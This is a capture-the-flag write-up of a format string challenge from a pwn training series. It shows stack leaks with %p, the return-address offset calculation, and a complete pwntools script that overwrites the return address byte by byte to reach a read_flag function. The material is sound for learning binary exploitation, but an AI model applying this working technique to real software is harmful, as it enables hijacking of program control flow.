Seal’s Pwn Zero2Hero Stack Challenges - Format String Write
This was challenge 8 from Seal’s Pwn Zero2Hero.
Source was provided for this challenge
The program prints the contents of the input and then memsets it.
Vulnerability
On line 34 there’s a format string vuln.
Exploitation
we can send a lot of %p's
to leak the stack and map out the addresses we see. Started off by sending 21 %p.'s
(because the buffer size is 64 bytes). I was able to leak multiple libc address (0x7ffff7 addresses), the stack canary (offset 15), the address of main (offset 19), and a stack address (offfset 21).
We can also see the offset of our input which is 6. The 0x70252e… is just %p.
in hex.
With the stack leak, at index 21, we can calculate the offset to the return address and use that to overwrite it. This will allow us to eventually jump to the read_flag function.
If the stack leak was 0x7fffffffde98
we can substract the return address from it and get an offset of 0x110
.
Using fmtstr_payload
from pwntools lets us overwrite the return address. We do run into a movaps issue, so we need to realign the stack by using a ret
gadget. We also run into a printf_positional issue. To bypass that we can just send out the payload a byte at a time in a loop.
Solution
Running the script below gets the flag
from pwn import *
elf = context.binary = ELF("vuln", checksec=False)
gs = '''
c
b *0x401372
'''
p = process(elf.path)
# p = gdb.debug(elf.path, gdbscript=gs)
payload = b"%21$p"
p.sendline(payload)
leak = int(p.recvline().strip(), 16)
log.info(f"[*] Leaked stack address {hex(leak)}")
retaddr = leak - 0x110
log.info(f"[*] Return address {hex(retaddr)}")
ret = 0x40101a
payload = b''
payload += p64(ret)
payload += p64(elf.sym.read_flag)
# offset of input was 6
# sending this way to bypass printf_positional issue
for i in range(len(payload)):
p.sendline(fmtstr_payload(6, {retaddr + i: p8(payload[i])}))
p.sendline(b'y')
p.interactive()